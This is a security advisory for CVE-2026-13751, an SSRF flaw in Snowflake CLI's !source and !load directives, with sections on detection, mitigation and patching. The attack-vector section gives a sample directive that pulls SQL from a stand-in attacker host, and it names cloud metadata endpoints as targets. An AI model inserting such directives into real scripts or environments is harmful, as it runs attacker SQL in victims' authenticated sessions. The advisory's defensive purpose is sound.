CVE-2026-13751: Snowflake CLI SSRF Vulnerability

CVE-2026-13751 Overview

CVE-2026-13751 is a server-side request forgery (SSRF) vulnerability in Snowflake CLI versions prior to 3.19. The SQL statement reader's !source and !load directives fetch remote URLs at runtime without adequate restrictions on the request destination. Attackers can craft SQL content that, when processed through a vulnerable command path, forces the victim's environment to issue outbound requests to internal or non-public network locations. The retrieved remote SQL content executes within the victim user's session context. Snowflake addressed the issue in version 3.19 by adding an option to disable remote URL retrieval.

Critical Impact
Attackers can force victim CLI environments to fetch attacker-controlled SQL from internal targets and execute it within the victim's authenticated Snowflake session.

Affected Products

Snowflake CLI versions prior to 3.19
Environments processing untrusted SQL scripts via snow sql command paths
Automation pipelines invoking !source or !load directives on shared SQL content

Discovery Timeline

2026-06-29 - CVE-2026-13751 published to the National Vulnerability Database
2026-06-30 - Last updated in the NVD database

Technical Details for CVE-2026-13751

Vulnerability Analysis

The Snowflake CLI parses SQL scripts and interprets meta-directives such as !source and !load. These directives were designed to include additional SQL content from external sources. The implementation accepted remote URLs as arguments and fetched them at execution time without validating the destination against an allowlist or blocking access to internal network ranges.

When a victim runs the CLI against attacker-influenced SQL content, the client issues HTTP requests from the victim host. This turns the CLI into an SSRF primitive against cloud metadata endpoints, internal management interfaces, and other non-public services reachable from the victim network. The retrieved payload is then interpreted as SQL and executed against the connected Snowflake session, so any statements the session is authorized to run become available to the attacker.

This pattern maps to [CWE-829: Inclusion of Functionality from Untrusted Control Sphere]. Exploitation requires user interaction because the victim must process the crafted content through a vulnerable command path.

Root Cause

The SQL reader treated !source and !load arguments as trusted location references. The client resolved remote URLs without a destination allowlist, without an opt-in flag for network retrieval, and without protection against internal address ranges or cloud metadata endpoints.

Attack Vector

An attacker distributes or injects SQL content containing !source https://attacker.example/payload.sql or targets an internal address such as a cloud metadata service. When the victim executes the script through the vulnerable CLI, the client fetches the URL from the victim's network position and executes the returned SQL against the active Snowflake session. The blast radius is bounded by the privileges of that session.

No verified public exploit code is available. See the Snowflake CLI Vulnerability Advisory for vendor technical details.

Detection Methods for CVE-2026-13751

Indicators of Compromise

Snowflake CLI processes issuing outbound HTTP or HTTPS requests to unexpected external hosts or to RFC1918 addresses
CLI connections to cloud metadata endpoints such as 169.254.169.254 originating from developer workstations or CI runners
SQL scripts or shared notebooks containing !source or !load directives that reference remote URLs
Snowflake query history showing unexpected statements executed by interactive CLI sessions during script runs

Detection Strategies

Inspect SQL artifacts in code repositories and shared storage for !source or !load directives pointing to remote URLs
Correlate snow process execution with subsequent outbound network connections that do not target Snowflake service endpoints
Alert on Snowflake CLI network traffic destined for link-local, loopback, or internal address ranges

Monitoring Recommendations

Log the version of Snowflake CLI in use across developer and automation hosts and flag versions below 3.19
Forward CLI host telemetry and Snowflake query history to a central data lake for correlation across identity, endpoint, and query activity
Monitor CI/CD runners that execute Snowflake SQL scripts for anomalous egress patterns immediately following script invocation

How to Mitigate CVE-2026-13751

Immediate Actions Required

Upgrade Snowflake CLI to version 3.19 or later on all workstations, servers, and CI/CD runners
Disable remote URL retrieval using the option introduced in 3.19 unless explicitly required
Audit shared SQL scripts and pipelines for !source and !load usage and remove references to untrusted URLs
Rotate Snowflake credentials used by any session that processed untrusted SQL content prior to patching

Patch Information

Snowflake released the fix in Snowflake CLI version 3.19. The update introduces an option to disable remote URL retrieval by the SQL statement reader. Review the Snowflake CLI Vulnerability Advisory for full remediation guidance.

Workarounds

Restrict egress from hosts running Snowflake CLI so that only Snowflake service endpoints are reachable
Enforce least-privilege Snowflake roles for interactive CLI sessions to limit the impact of executed remote SQL
Treat all externally sourced SQL as untrusted and review scripts before execution
Block CLI host access to cloud metadata endpoints and internal management interfaces at the network layer

bash

# Configuration example
# Upgrade Snowflake CLI to the patched release
pip install --upgrade "snowflake-cli>=3.19"

# Verify installed version
snow --version